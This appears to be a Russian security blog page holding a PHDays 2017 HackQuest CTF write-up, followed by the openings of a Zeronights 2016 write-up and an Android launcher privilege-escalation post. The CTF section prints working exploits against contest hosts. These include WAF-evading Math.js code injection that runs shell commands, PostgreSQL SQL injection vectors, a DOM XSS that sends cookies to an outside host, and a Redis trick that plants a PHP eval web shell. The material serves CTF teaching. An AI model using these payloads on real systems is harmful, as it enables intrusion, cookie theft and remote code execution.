13 мая 2017

PHDays 2017 HackQuest Writeup


Краткий разбор заданий с PHDays 2017 HackQuest.

SteckTechs


На клиенте собирается выражение с суммой очков, которое выполняется на сервере.
https://stack.rosnadzorcom.ru/result?expr=2+2
Из сообщения об ошибке узнаем, что это Node.js и Math.js.

SyntaxError: End of string " expected (char 2)
    at createSyntaxError (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1524:17)
    at parseStringToken (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1282:13)
    at parseString (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1248:13)
    at parseSymbol (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1143:12)
    at parseCustomNodes (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1120:12)
    at parseLeftHandOperators (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1034:12)
    at parsePow (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1012:12)
    at parseUnary (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1000:12)
    at parseMultiplyDivide (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:932:12)
    at parseAddSubtract (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:906:12)

Находим статью по эксплуатации этой уязвимости:

https://capacitorset.github.io/mathjs/

Кромсаем готовые вектора с помощью concat, чтобы обойти WAF.

Чтение файлов

GET /result?expr=cos.constructor(concat("a=new%20Buffer(10000);pro","cess.bind","ing('fs').read(pro","cess.bind","ing('fs').op","en('WAFWAF_ex","ec_jk.txt',0,0600),a,0,10000);return%20a.toString('ascii')"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Выполнение команд

GET /result?expr=cos.constructor(concat("spawn_sync%20=%20pr","oce","ss.binding('spawn_sync');%20normalizeSpawnArguments%20=%20fun","cti","on(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined%26%26(a={}),a=Object.assign({},a),a.shell){const%20g=[c].concat(b).join('%20');typeof%20a.shell==='str","ing'?c=a.shell:c='/b","in/s","h',b=['-c',g];}typeof%20a.argv0==='str","ing'?b.unshift(a.argv0):b.unshift(c);var%20d=a.en","v||pr","oc","ess.e","nv;var%20e=[];for(var%20f%20in%20d)e.push(f%2b'='%2bd[f]);return{fi","le:c,args:b,opti","ons:a,en","vPairs:e};};spawnSync%20=%20fun","cti","on(){var%20d=normalizeSpawnArg","uments.apply(null,ar","guments);var%20a=d.op","t","i","ons;var%20c;if(a.fi","le=d.fi","le,a.ar","gs=d.ar","gs,a.e","nvPairs=d.e","nvPairs,a.st","di","o=[{type:'pi","pe',rea","dable:!0,wr","itable:!1},{type:'pi","pe',re","adable:!1,wr","itable:!0},{type:'pi","pe',re","adable:!1,wri","table:!0}],a.i","np","ut){var%20g=util._extend({},a.stdi","o[0]);g.inpu","t=a.inpu","t;}for(c=0;c<a.stdi","o.length;c%2b%2b){var%20e=a.stdi","o[c].inpu","t;if(e!=null){var%20f=util._extend({},a.stdi","o[c]);isUint8Array(e)?f.inpu","t=e:f.inpu","t=Buffer.from(e,a.encoding);}}var%20b=spawn_sync.spawn(a);if(b.outpu","t%26%26a.encoding%26%26a.encoding!=='buffer')for(c=0;c<b.outpu","t.length;c%2b%2b){if(!b.outpu","t[c])continue;x=b.outpu","t[c].toString(a.encoding);}return%20b.stdout=b.outpu","t%26%26b.outpu","t[1],b.stderr=b.outpu","t%26%26b.outpu","t[2],b.error%26%26(b.error=%20b.error%20%2b%20'spawnSync%20'%2bd.fi","le,b.error.pa","th=d.fi","le,b.error.spawnar","gs=d.ar","gs.slice(1)),b;};return%20spawnSync('/bin/ls')['outp","ut'][1].toString();"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Читаем флаг из /WAFWAF_exec_jk.txt

md5('::L3g3nd4ry_l1v3__3t3rn@ally^')

После прохождения узнаем, что проще было использовать base64

new Buffer("b2xvbG8=", "base64").toString()

И что многие участники не создавали функцию, а просто вызывали уже созданную другими участниками. То есть все решение было примерно таким:

https://stack.rosnadzorcom.ru/result?expr=cos.constructor("return+spawnSync('sh',['-c','cat+WAF*'])")()

1.png


https://rosnadzorcom.ru/1.png

Пустая картинка, смотрим альфа-канал в Stegsolve.

stegsolve

Извлекаем из картинки каждый десятый пиксель и опять извлекаем данные с помощью Stegsolve. Получается JS код:

[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]

Он выводит строку из символов 0, 1 и 2. Выравниваем ее по 2.

000000010101011001010100000002
011111010110010011000101111102
010001011011100011100101000102
010001010010011100001101000102
010001011110101110110101000102
011111011111110110000101111102
000000010101010101010100000002
111111110100000111101111111112
010010001010100100101101101002
001100110110011000001010001112
001110000011010010011010100112
100000101010000011110110010102
011011010010111111111101110012
101001110000001110100100101012
010101000010110100001001011102
111001100001101011010000001002
001011000110011110100110001012
101000111000001001100101011112
011010001000111010111101110112
111100101010111000111111111012
101011000110101101010000001102
111111110100000100010111011002
000000010010101010010101001012
011111010101011011100111001112
010001011011010010100000010012
010001010010110101111100101112
010001010011001101011110101102
011111011111101100011111111012
00000001011100011010010111101

Получается QR код из нулей и единиц. Преобразуем в картинку и извлекаем флаг.

qr code

af49359a251b70e24ba98f15b02cd271


Block

SQL Injection в PostgreSQL с WAF.
https://block.rosnadzorcom.ru/

Долго не мог придумать, как к ней подобраться, потому что на начальном этапе блокировалось почти все.
В итоге сделал базовый вектор, который не блокируется, с произвольными запросами с помощью XML функций и выводом информации через ошибку.

')||query_to_xml(E'$VECTOR'::text,true,true,true::text)::text::int||('1

После чего просто автоматизировал случайное замусоривание основного запроса и долбил его, пока он не сработает. Вектора, которые сработали:

sel\x65ct\ttable_n\141m'||E'e\x20f'||E'rom\r\x69n\x66orma\x74i\x6fn\x5fsc\x68em'||E'a.table\163

se\154ect\r\52 fr\157m\40us'||E'ers

Флаг md5('token:ildujf89qwj4e9832je98nm92p38jercop98j392er8j98j23p9ej8p928j3pe98jp2398je9d')


Bonus 4

https://crt.sh/?q=%25.rosnadzorcom.ru

flag-94d1d3b923974da436bcadb76e52e221.rosnadzorcom.ru


Bonus 1

bonus 1


Moderation


https://moderation.rosnadzorcom.ru/

Находим robots.txt

User-agent: *
Disallow: /admin/
Disallow: /moderator/

На странице /moderator/ идет перенаправление на страницу авторизации, но тело ответа отображается. Прогоняем обфусцированный JavaScript с помощью http://jsbeautifier.org/ и правим его руками. Я остановился на следующем варианте.

function Filter(_0x266c83) {
    return _0x266c83["replace"](/[^-0-9a-z:/.=?&]/gim, "");
}

function Checkurl(_0x265b12) {
    var _0x507390 = {
        'RjY': function _0x14519a(_0x4dd451, _0x237e63) {
            return _0x4dd451 != _0x237e63;
        },
        'doH': function _0x16c0a0(_0x55192c, _0x532c5a) {
            return _0x55192c != _0x532c5a;
        },
        'NSr': function _0x31c18a(_0x1f223d, _0x35f89c) {
            return _0x1f223d != _0x35f89c;
        }
    };
    var _0x247202 = "0|2|3|1|4|5"["split"]('|'),
        _0x41e6f8 = 0x0;
    while (!![]) {
        switch (_0x247202[_0x41e6f8++]) {
            case '0':
                if ("RjY"](_0x265b12["indexOf"]("javascript"), -0x1)) {
                    return ![];
                }
                continue;
            case '1':
                ;
                continue;
            case '2':
                ;
                continue;
            case '3':
                if (_0x507390["doH"](_0x265b12["substr"](-0x4, 0x4), ".jpg")) {
                    return ![];
                }
                continue;
            case '4':
                _0x265b12 = _0x265b12["replace"]("#", "");
                continue;
            case '5':
                if (_0x507390["doH"](_0x265b12["indexOf"]("/"), -0x1)) {
                    if (_0x507390["NSr"](_0x265b12["indexOf"]("://"), -0x1)) {
                        if (_0x507390['NSr'](_0x265b12["indexOf"]("http://"), -0x1)) {
                            return !![];
                        }
                    }
                } else {
                    return !![];
                }
                continue;
        }
        break;
    }
}

function prepareFrame() {
    var _0x2b3501 = {
        'OzM': function _0x20b853(_0x3e2412, _0xda5eaa) {
            return _0x3e2412(_0xda5eaa);
        }
    };
    var _0x586767 = "4|0|2|5|3|1"."split"('|'),
        _0x45335e = 0x0;
    while (!![]) {
        switch (_0x586767[_0x45335e++]) {
            case '0':
                if (_0x2b3501["OzM"](Checkurl, _0x1079a0)) {
                    var _0x4167de = _0x2b3501["OzM"](Filter, _0x1079a0);
                }
                continue;
            case '1':
                document["body"]["appendChild"](_0xc87369);
                continue;
            case '2':
                ;
                continue;
            case '3':
                _0xc87369["setAttribute"]("src", _0x4167de);
                continue;
            case '4':
                var _0x1079a0 = location["hash"]["replace"]("#", "");
                continue;
            case '5':
                var _0xc87369 = document[c]("iframe");
                continue;
        }
        break;
    }
}

Получаем DOM Based XSS через location.hash с большим количеством условий.

В результате у меня получился следующий вектор:
(когда я решал, то неправильно понял условие с символом /, поэтому перемудрил)

https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg

Для того, чтобы XSS сработала нужно также заблокировать перенаправление. Это можно сделать, добавив в GET параметры символы %0a, %0d или null-байт. Вызов функции header("Location: foo\nbar"); вернет предупреждение и код ответа останется 200.

https://moderation.rosnadzorcom.ru/moderator/?a=1%0a1

Финальный вектор для эксплуатации XSS

<form action="https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg" id="send">
<textarea name="a" id="x"></textarea>
</form>
<script>
window.name="javascript:location='https://blackfan.ru/?result='+document.cookie;";
document.getElementById("x").value="foo\nbar";
document.getElementById("send").submit();
</script>

Флаг в cookie flag=c0a495e8886c26afc0d541da2d19adf0


compressed.png

compressed.png

Перепечатываем, запускаем, играем в пятнашки.

01 02 03 04
05 06 07 08
09 10 11 12
13 14 15 00
Your flag is 
01030107010301150103010701030115

Chat

Вызываем ошибку
https://chat.rosnadzorcom.ru/%ff

URIError: Failed to decode param '%ff'
    at decodeURIComponent (<anonymous>)
    at decode_param (/osas/node_modules/router/lib/layer.js:171:12)
    at Layer.match (/osas/node_modules/router/lib/layer.js:147:15)
    at matchLayer (/osas/node_modules/router/index.js:604:18)
    at next (/osas/node_modules/router/index.js:235:15)
    at /osas/site/server-22165fa64369b9dabeba8eb7276712a6/init.js:51:5
    at Layer.handle [as handle_request] (/osas/node_modules/router/lib/layer.js:93:5)
    at trim_prefix (/osas/node_modules/router/index.js:335:13)
    at /osas/node_modules/router/index.js:299:7
    at Function.process_params (/osas/node_modules/router/index.js:354:12)

Получаем чтение серверного JS кода:
https://chat.rosnadzorcom.ru/server-22165fa64369b9dabeba8eb7276712a6/init.js

    import { result } from 'lodash';

    ...

    let id = encodeURIComponent(Object.keys(req.body)[0]);

    ...

    state[req.params.uuid] = {
        owner: req.cookies[sessionCookieName],
        message: {
            id,
            type: 'message',
            text: encodeURIComponent(req.body[id])
        }
    };

    ...

    export function adminReply(res, html) {
    const $ = cheerio.load(html),
        msg = $('[data-id]'),
        id = msg.data('id'),
        state = result(res, 'state'),
        orig = result(res, id).toString();

    state.reply = {
        id: 'reply',
        type: 'reply',
        orig,

Уязвимость заключается в том, что в ответ от администратора попадает любой параметр из объекта res, путь к которому мы передаем в имени POST параметра.
Оригинальный запрос:

POST /b6c5a75f-22fa-4a0d-952b-70a68fb77776 HTTP/1.1

state.message.text=asddas

Запрос для получения идентификатора сессии администратора:

POST https://chat.rosnadzorcom.ru/asdasdasdasdasd

req.cookies.sid=asddas

Используя его можно получить флаг:

https://chat.rosnadzorcom.ru/7his_c0nT3n7_is_MY_Pr1v@t3_pR0perTy!!11!

Flag is 64cbbcc515819d16115a4663251199dd

Ropi

Запросы к /.git/ блокируются.
https://ropi.rosnadzorcom.ru/.git/

Но при следующем запросе используется другой host.

GET /. HTTP/1.1
Host: ropi.rosnadzorcom.ru

HTTP/1.1 301 Moved Permanently
Location: http://vps.merron.ru/./

На котором уже можно получить исходный код из /.git/. Забираем доступ к redis.

$redis['host'] = '127.0.0.1';
$redis['port'] = 6379;
$redis['pass'] = 'a9e24afea8be7de8';

Так как у меня совсем нету опыта в эксплуатации Redis, подключаемся, ставим режим мониторинга и идем гулять с ребенком.

redis-cli -h vps.merron.ru -a a9e24afea8be7de8

> monitor

Возвращаемся через час, замечаем чьи-то попытки залить PHP шелл через Redis, добиваем их до мини-шелла.

> config set dir /var/www/uploads/
> config set dbfilename blabla.php
> set asd "<?php eval($_GET[asd]); ?>"
> bgsave

И читаем флаг

https://ropi.rosnadzorcom.ru/uploads/blabla.php?asd=readfile('/flag');

5d710ac04a2eb6af5682fd92577b3e01

Beta


http://beta.rosnadzorcom.ru/

Голый wordpress и раскрытие пути.
http://beta.rosnadzorcom.ru/wp-includes/rss-functions.php

Fatal error: Call to undefined function _deprecated_file() in /usr/share/nginx/www/wordpress/wp-includes/rss-functions.php on line 8

Пробуем обратиться к php файлам через localhost.

GET /wordpress/wp-config.php HTTP/1.1
Host: localhost

Получаем чтение исходного кода, учетную запись к базе данных и сам хост базы white2fan.rosnadzorcom.ru (нет, я не участвовал в создании таска).

/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'OMGOMGWTFWTF');

/** For testing use white2fan.rosnadzorcom.ru */
define('DB_HOST', 'localhost');

white2fan.rosnadzorcom.ru резолвится в 127.0.0.1, но когда я решал, то даже не заметил этого, так как подключался с сервера, на котором был настроен IPv6.
Забираем флаг:

mysql -h white2fan.rosnadzorcom.ru -u wordpress -p

mysql> select * from flag;
Empty set (0.16 sec)

mysql> select column_name from information_schema.columns where table_name='flag';
+----------------------------------+
| column_name                      |
+----------------------------------+
| a33d6a48821d9c33f00219710eb9aeef |
+----------------------------------+
1 row in set (0.16 sec)

12 мая 2017

Zeronights 2016 HackQuest Day #7 Writeup


Хотел написать разбор на PHDays 2017 HackQuest и нашел этот в закладках.

Узнав, что последним заданием на HackQuest будет web, я слегка расстроился, так как был не дома и начал решать его спустя 14 часов после запуска. Но, к счастью, к этому времени до сих пор не было ни решивших, ни подсказок.

Задание представляет собой сайт с названием «The First School of Bulimia» и из функциональности там только регистрация и аутентификация. После проверки стандартных векторов, единственное, за что можно было зацепиться – обработка поля «Вес» при регистрации.

При некорректном значении выдавало Exception:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: For input string: "zdrxyhryy" 
Fill your weight. Weight has to be numeric value

В поле можно было использовать hex значения #FF или 0xFF. При значении ${0}, получилось следующее:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: 
For input string: "$org.springframework.context.support.DefaultMessageSourceResolvable: 
codes [user.weight,weight]; arguments []; default message [weight]"

Прочитав несколько статей про Expression Language Injection, я понял, что это не совсем то, и что текст ошибки с указанным параметром попадает в MessageFormat. С помощью {0, number} можно вызвать приведение объекта-параметра с индексом 0 к числу и получить подробную ошибку с фрагментом исходного кода. Но, эта информация тоже ничего интересного не дала.

img1

Первая подсказка OTG-INFO-001 указывает на то, что сначала нужно было получить больше информации о задании. Помучив поисковые системы и веб-архивы удалось найти исходный код приложения на github.

https://github.com/search?q=The+First+School+of+Bulimia

Первая часть флага была указана в исходном коде:

private static String firstSecret="2TvoixPalca";

Вторая часть, судя по всему, получалась из файла конфигурации и ее можно было получить с помощью ${secondSecret}.
Оказалось, что почитать про Expression Language Injection было правильной идеей и можно сразу заметить в коде следующее:

<p><b>Твое имя:  <spring:message text="${user.name}" /></b></p>
<p><b>Твое вес:  <spring:message text="${user.weight}" /></b></p>

<spring:message> дважды обрабатывает Expression Language и инъекция через имя пользователя выглядит верным решением задания. Но необходимо придумать, как обойти регулярное выражение при регистрации:

if (user.getName() == null) {
  e.rejectValue("name", "null", "Fill your name");
} else if (!user.getName().matches("[0-9A-Za-z]+")) {
  e.rejectValue("name", "onlynumbersletters", "Only letters and numbers in your name");
}

Перепробовав все идеи, я решил обратиться к сценарию следующим образом
(к тому же похожая уязвимость была в первом web задании, которое я не дорешал):
http://45.55.216.88/home?name=<h1><s>123

img2

И только потом заметил следующее объявление метода:

@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {

ModelAttribute: Annotation that binds a method parameter or method return value to a named model attribute, exposed to a web view. Supported for controller classes with @RequestMapping methods.

Получаем вторую часть флага:

http://45.55.216.88/home?name=${secondSecret}

Флаг: 2TvoixPalcaVRot! (вторую часть в целом можно было и угадать)

Разбор уязвимости и самого задания от автора

08 ноября 2016

Elevation of privilege vulnerability in Android Launcher


Работая с Android приложениями, я обнаружил интересную функциональность - создание ярлыков для главного экрана. Они используются для упрощения каких-либо действий, например, открытие нужного контакта одним кликом.
В приложении “Контакты” это выглядит примерно так:

Создание ярлыков появилось в Android 4.4, но почему-то довольно слабо документировано и реализовано следующим образом.

Приложение запрашивает привилегию INSTALL_SHORTCUT, которая в зависимости от лаунчера может относится к категории нормальных или опасных привилегий.

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />

Далее приложение формирует Intent, с помощью которого будет запущено Activity с нужными параметрами. Пример с контактами:

Intent shortcutIntent = new Intent("android.provider.action.QUICK_CONTACT");
shortcutIntent.setDataAndType(Uri.parse("content://com.android.contacts/contacts/80"), "vnd.android.cursor.item/contact");

После чего отсылает этот Intent приложению, отвечающему за создание ярлыков (у меня на Nexus 5 это com.google.android.googlequicksearchbox), с помощью Broadcast сообщения.

Intent intent = new Intent();
intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
